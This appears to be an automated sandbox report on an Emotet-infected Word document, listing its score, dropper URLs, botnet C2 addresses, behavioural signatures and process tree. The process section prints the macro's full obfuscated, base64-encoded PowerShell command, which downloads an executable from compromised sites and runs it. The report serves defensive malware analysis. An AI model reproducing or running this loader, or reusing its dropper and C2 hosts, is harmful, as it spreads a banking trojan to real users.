Overview

overview

10

Static

static

8

FILE_82131...40.doc

windows7_x64

10

FILE_82131...40.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/10/2020, 20:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    FILE_821318270343427921840.doc
  • Size 199KB
  • Sample201021-4271ap2b5a
  • SHA256 0d4957ad656edeaef3f49b20de1845bcafd5e78981c607cff352212e84ae913e
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/
  • exe.dropper

    https://ticket1st.com/wp-includes/98Zkfi/
  • exe.dropper

    https://www.eyebrowandme.com/cgi-bin/3NN/
  • exe.dropper

    http://newsfocus123.com/96kaifa/cc1/
  • exe.dropper

    https://dev.muzigal.com/cron/Mdn/
  • exe.dropper

    http://www.dehateet.com/wp-admin/Gqg0Ma/
  • exe.dropper

    http://keithdougherty.com/wp-includes/Yen85/
  • exe.dropper

    http://nurseprizes.com/wp-includes/hS/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 24.178.90.49:80

  • 96.126.101.6:8080

  • 5.196.108.185:8080

  • 167.114.153.111:8080

  • 188.219.31.12:80

  • 184.180.181.202:80

  • 85.105.111.166:80

  • 174.106.122.139:80

  • 137.59.187.107:8080

  • 185.94.252.104:443

  • 142.112.10.95:20

  • 102.182.93.220:80

  • 75.188.96.231:80

  • 93.147.212.206:80

  • 120.150.218.241:443

  • 87.106.139.101:8080

  • 78.188.106.53:443

  • 75.139.38.211:80

  • 46.105.131.79:8080

  • 168.235.67.138:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_821318270343427921840.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:280
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMARQB0ACAAIAAoACIAOQB4AFIAMQAiACsAIgBBACIAKQAgACAAKAAgACAAWwB0AFkAcABlAF0AKAAiAHsAMgB9AHsAMQB9AHsANQB9AHsAMAB9AHsANAB9AHsAMwB9ACIAIAAtAGYAIAAnAGkATwAuAGQAJwAsACcAVABlAG0AJwAsACcAUwB5AHMAJwAsACcAUgBFAEMAVABvAFIAWQAnACwAJwBpACcALAAnAC4AJwApACAAKQAgACAAOwAgACAAJABmADIAeQBjAFAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMQB9AHsAMwB9AHsAMgB9AHsANAB9AHsAMAB9AHsANQB9ACIAIAAtAEYAIAAnAFQAbQBhACcALAAnAFMAWQBzACcALAAnAEUAJwAsACcAdABFAG0ALgBuAEUAdAAuAHMARQByAFYASQBjACcALAAnAHAAbwBpAE4AJwAsACcAbgBBAEcAZQBSACcAKQAgADsAJABWAGIAYgBfAGoAaQBwAD0AKAAoACcAWgAnACsAJwBwAGYAagAnACsAJwBrAF8AJwApACsAJwBwACcAKQA7ACQAWgBvADIAawAzADgAbQA9ACQARQB4ADgAagBmAHAAbgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVgB2AHMAZAB5AHkAYgA7ACQAQQBnAHIAMgA2AG4AeAA9ACgAJwBQACcAKwAnAG4AJwArACgAJwAyAHMAZABxACcAKwAnAGIAJwApACkAOwAgACAAKABnAEkAIAAgACgAJwB2ACcAKwAnAGEAJwArACcAcgBpAGEAQgBMAGUAOgA5AFgAcgAnACsAJwAxAGEAJwApACkALgBWAEEAbAB1AEUAOgA6ACIAYwBSAEUAQQB0AGUAZABgAGkAcgBlAGAAQwBUAG8AYABSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAJwBSACcAKwAnAF8AYwAnACsAJwB6ACcAKwAnADgAaQB6AHsAMAB9ACcAKwAoACcATwAyADYAJwArACcAbwAzAGwAJwApACsAJwBvAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMAaABhAHIAXQA5ADIAKQApADsAJABJADIAaQBmAG8AZgBwAD0AKAAoACcAUgBmACcAKwAnAGcAegAnACkAKwAoACcAMgAnACsAJwBsAGIAJwApACkAOwAgACAAKAAgAGcARQB0AC0AYwBIAEkAbABEAEkAdABFAG0AIAB2AGEAUgBpAEEAQgBMAEUAOgBGADIAWQBDAHAAIAApAC4AdgBhAEwAdQBlADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAFkAcAByAE8AVABgAE8AQwBgAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgByAGkAZABzAHoAagA9ACgAKAAnAEEAcwAnACsAJwB5ACcAKQArACcAMwB6ACcAKwAnADYANAAnACkAOwAkAEEAcwB0AHUAaQBoAGUAIAA9ACAAKAAoACcATwAnACsAJwA4ADQAOABwACcAKQArACcAOAAnACsAJwBrACcAKQA7ACQAVABjAGMAMQBnADAAeQA9ACgAKAAnAEkAcAAnACsAJwBmAHcAJwApACsAJwBoADkAJwArACcAZAAnACkAOwAkAE4AcQBmADgAcgB4ADEAPQAoACcASgAnACsAKAAnADQAZgAnACsAJwA2AHQAZgAnACkAKwAnADgAJwApADsAJABGAGEAaQBmAHgAYgBqAD0AJABIAE8ATQBFACsAKAAoACcAdgAnACsAKAAnAFMAVABSACcAKwAnAF8AYwB6ADgAJwArACcAaQB6AHYAUwBUACcAKQArACgAJwBPADIANgBvACcAKwAnADMAbAAnACkAKwAoACcAbwB2ACcAKwAnAFMAVAAnACkAKQAtAEMAUgBlAFAAbABhAEMARQAgACAAKAAnAHYAUwAnACsAJwBUACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAHMAdAB1AGkAaABlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARgBuAG4AcQB4AHQAdwA9ACgAKAAnAFYAJwArACcAbgByAGoAMQAnACkAKwAnAGgAZwAnACkAOwAkAEIAXwBpAGsAMQBmAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAEIAYwBsAGkAZQBOAFQAOwAkAEoANQA5ADcAOABsADcAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwBzADoAJwArACcAPQAnACkAKwAoACcAWQAzAG4AawAnACsAJwBPAHMAPQAnACsAJwBZADMAbgBrACcAKwAnAE8AcwAnACsAJwB3ACcAKQArACcAdwB3ACcAKwAoACcALgAnACsAJwBhAHMAcABlACcAKwAnAG4AcwBuAG8AJwArACcAdwBtAGEAcwBzACcAKwAnAHcAJwApACsAKAAnAGUAYgBjAGEAbQAuACcAKwAnAGMAbwBtAD0AWQAnACsAJwAzACcAKwAnAG4AawAnACsAJwBPACcAKwAnAHMAdwBwAC0AYQAnACsAJwBkAG0AaQBuAD0AWQAnACsAJwAzAG4AJwArACcAawBPAHMAUwAnACkAKwAoACcAQwA2ACcAKwAnAGMAMgAnACkAKwAnAG8AJwArACgAJwA9AFkAMwAnACsAJwBuACcAKQArACgAJwBrAE8AcwAnACsAJwBAAGgAdAAnACsAJwB0AHAAcwAnACkAKwAoACcAOgA9AFkAMwAnACsAJwBuACcAKwAnAGsATwAnACkAKwAoACcAcwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AcwAnACsAJwB0AGkAYwAnACsAJwBrACcAKQArACcAZQAnACsAKAAnAHQAMQBzACcAKwAnAHQALgBjAG8AJwArACcAbQAnACkAKwAoACcAPQBZADMAJwArACcAbgBrACcAKQArACgAJwBPAHMAJwArACcAdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjAGwAdQAnACkAKwAnAGQAJwArACgAJwBlAHMAPQAnACsAJwBZADMAbgAnACsAJwBrACcAKwAnAE8AcwAnACkAKwAoACcAOQAnACsAJwA4AFoAJwArACcAawBmAGkAPQBZADMAbgBrACcAKwAnAE8AcwBAACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAnADoAPQBZACcAKwAnADMAbgAnACkAKwAnAGsATwAnACsAKAAnAHMAPQAnACsAJwBZADMAJwArACcAbgBrAE8AcwB3ACcAKwAnAHcAdwAuAGUAJwApACsAKAAnAHkAJwArACcAZQBiAHIAJwApACsAKAAnAG8AdwBhAG4AJwArACcAZABtACcAKwAnAGUAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0APQBZADMAJwApACsAJwBuAGsAJwArACgAJwBPAHMAYwBnAGkALQBiACcAKwAnAGkAJwApACsAKAAnAG4APQAnACsAJwBZADMAbgAnACkAKwAnAGsAJwArACcATwBzACcAKwAoACcAMwAnACsAJwBOAE4APQBZADMAbgAnACsAJwBrACcAKwAnAE8AcwBAAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAD0AJwArACgAJwBZACcAKwAnADMAbgAnACsAJwBrACcAKwAnAE8AJwArACcAcwA9AFkAMwBuAGsATwBzAG4AJwApACsAJwBlAHcAJwArACgAJwBzAGYAbwBjAHUAJwArACcAcwAxACcAKQArACgAJwAyADMAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0APQAnACkAKwAnAFkAMwAnACsAKAAnAG4AawAnACsAJwBPACcAKQArACgAJwBzADkAJwArACcANgAnACsAJwBrAGEAaQBmAGEAJwApACsAJwA9AFkAJwArACcAMwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAGMAJwArACcAYwAxAD0AWQAzAG4AawAnACsAJwBPAHMAQABoACcAKwAnAHQAdAAnACsAJwBwAHMAOgA9AFkAMwBuACcAKwAnAGsAJwApACsAJwBPACcAKwAoACcAcwA9AFkAJwArACcAMwBuAGsATwBzACcAKwAnAGQAJwArACcAZQAnACsAJwB2AC4AbQAnACkAKwAoACcAdQB6AGkAJwArACcAZwBhACcAKQArACgAJwBsAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAD0AWQAzAG4AJwArACcAawAnACsAJwBPAHMAYwByAG8AJwApACsAJwBuAD0AJwArACgAJwBZADMAbgBrAE8AcwAnACsAJwBNACcAKwAnAGQAJwArACcAbgA9AFkAMwBuAGsAJwArACcATwBzAEAAaAB0ACcAKQArACgAJwB0AHAAOgA9ACcAKwAnAFkAMwBuACcAKQArACgAJwBrAE8AcwAnACsAJwA9AFkAJwApACsAKAAnADMAbgBrAE8AJwArACcAcwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBkAGUAaABhACcAKwAnAHQAZQBlAHQAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcAPQBZADMAbgBrACcAKwAnAE8AcwB3AHAALQBhACcAKwAnAGQAbQBpAG4APQBZACcAKQArACgAJwAzACcAKwAnAG4AawAnACkAKwAoACcATwBzACcAKwAnAEcAcQBnACcAKwAnADAAJwApACsAKAAnAE0AJwArACcAYQA9AFkAMwAnACkAKwAoACcAbgBrACcAKwAnAE8AcwBAAGgAdAAnACkAKwAoACcAdABwADoAJwArACcAPQAnACkAKwAnAFkAMwAnACsAJwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AawBPACcAKQArACcAcwBrACcAKwAoACcAZQBpACcAKwAnAHQAJwApACsAKAAnAGgAZABvAHUAZwBoACcAKwAnAGUAJwArACcAcgB0ACcAKQArACgAJwB5AC4AYwAnACsAJwBvACcAKQArACcAbQA9ACcAKwAoACcAWQAnACsAJwAzAG4AawBPACcAKQArACcAcwAnACsAKAAnAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkACcAKwAnAGUAcwAnACsAJwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AJwArACcAcwBZAGUAbgAnACsAJwA4ADUAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AJwApACsAJwBrACcAKwAnAE8AJwArACgAJwBzAEAAaAB0AHQAcAAnACsAJwA6ACcAKwAnAD0AWQAnACkAKwAnADMAbgAnACsAJwBrAE8AJwArACgAJwBzACcAKwAnAD0AWQAzACcAKQArACcAbgAnACsAKAAnAGsAJwArACcATwBzACcAKQArACcAbgAnACsAKAAnAHUAcgBzAGUAJwArACcAcAAnACkAKwAnAHIAJwArACgAJwBpACcAKwAnAHoAZQBzAC4AJwApACsAKAAnAGMAbwBtAD0AWQAzAG4AawAnACsAJwBPACcAKQArACcAcwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQBkAGUAcwAnACkAKwAoACcAPQBZACcAKwAnADMAJwApACsAKAAnAG4AawAnACsAJwBPACcAKwAnAHMAaABTACcAKQArACcAPQBZACcAKwAnADMAbgAnACsAKAAnAGsATwAnACsAJwBzACcAKQApAC4AIgByAEUAYABwAEwAQQBgAGMAZQAiACgAKAAoACcAPQAnACsAJwBZADMAbgBrACcAKQArACcATwAnACsAJwBzACcAKQAsACcALwAnACkALgAiAFMAYABQAEwAaQBUACIAKAAkAFYAZwBvADAAMgBuAG8AIAArACAAJABaAG8AMgBrADMAOABtACAAKwAgACQASQBpAG4AbwA1ADUAMwApADsAJABOAHkAbwA2AHYAeQBfAD0AKAAnAFYAJwArACgAJwBkAGQAJwArACcAZABnACcAKQArACcAcQBlACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQA5AGwAZwBzAGYAbAAgAGkAbgAgACQASgA1ADkANwA4AGwANwApAHsAdAByAHkAewAkAEIAXwBpAGsAMQBmAG8ALgAiAEQAbwBXAGAATgBgAGwATwBhAEQARgBJAEwARQAiACgAJABVADkAbABnAHMAZgBsACwAIAAkAEYAYQBpAGYAeABiAGoAKQA7ACQAUQB0AGIAbgAyADkAMQA9ACgAKAAnAFoAagBkACcAKwAnAG8AJwApACsAKAAnAGcAaQAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAYQBpAGYAeABiAGoAKQAuACIAbABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADkANgA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACgAJwBuACcAKwAnADMAMgBfACcAKQArACcAUAAnACsAKAAnAHIAbwBjAGUAcwAnACsAJwBzACcAKQApACkALgAiAEMAcgBgAGUAQQBgAFQAZQAiACgAJABGAGEAaQBmAHgAYgBqACkAOwAkAEgAMwBiADUAbABiAGYAPQAoACgAJwBMAGUAeQAnACsAJwBrAGsAJwApACsAJwA5ACcAKwAnADcAJwApADsAYgByAGUAYQBrADsAJABGADMAawA0AHAAcAB2AD0AKAAnAE8ANwAnACsAKAAnAG0AdQAnACsAJwB3ADMAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBzADcAegBjAG0AbAA9ACgAJwBXACcAKwAoACcAZwAnACsAJwBsADQAJwApACsAKAAnAGMAJwArACcAdgB5ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1532
  • C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:428
    • C:\Windows\SysWOW64\SystemPropertiesRemote\dsrole.exe
      "C:\Windows\SysWOW64\SystemPropertiesRemote\dsrole.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1124

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/280-4-0x0000000007040000-0x0000000007240000-memory.dmp
        Download

        memory/280-2-0x0000000008CE0000-0x0000000008CE4000-memory.dmp
        Download

        memory/428-17-0x0000000000820000-0x0000000000851000-memory.dmp
        Download

        memory/428-16-0x00000000003C0000-0x00000000003F3000-memory.dmp
        Download

        memory/1124-20-0x0000000000300000-0x0000000000333000-memory.dmp
        Download

        memory/1124-21-0x00000000003C0000-0x00000000003F1000-memory.dmp
        Download

        memory/1532-9-0x000000001ACC0000-0x000000001ACC1000-memory.dmp
        Download

        memory/1532-13-0x0000000002670000-0x0000000002671000-memory.dmp
        Download

        memory/1532-12-0x000000001C200000-0x000000001C201000-memory.dmp
        Download

        memory/1532-11-0x0000000001E50000-0x0000000001E51000-memory.dmp
        Download

        memory/1532-10-0x00000000022F0000-0x00000000022F1000-memory.dmp
        Download

        memory/1532-8-0x0000000002230000-0x0000000002231000-memory.dmp
        Download

        memory/1532-7-0x000007FEF2150000-0x000007FEF2B3C000-memory.dmp
        Download

        memory/1872-22-0x000007FEF8420000-0x000007FEF869A000-memory.dmp
        Download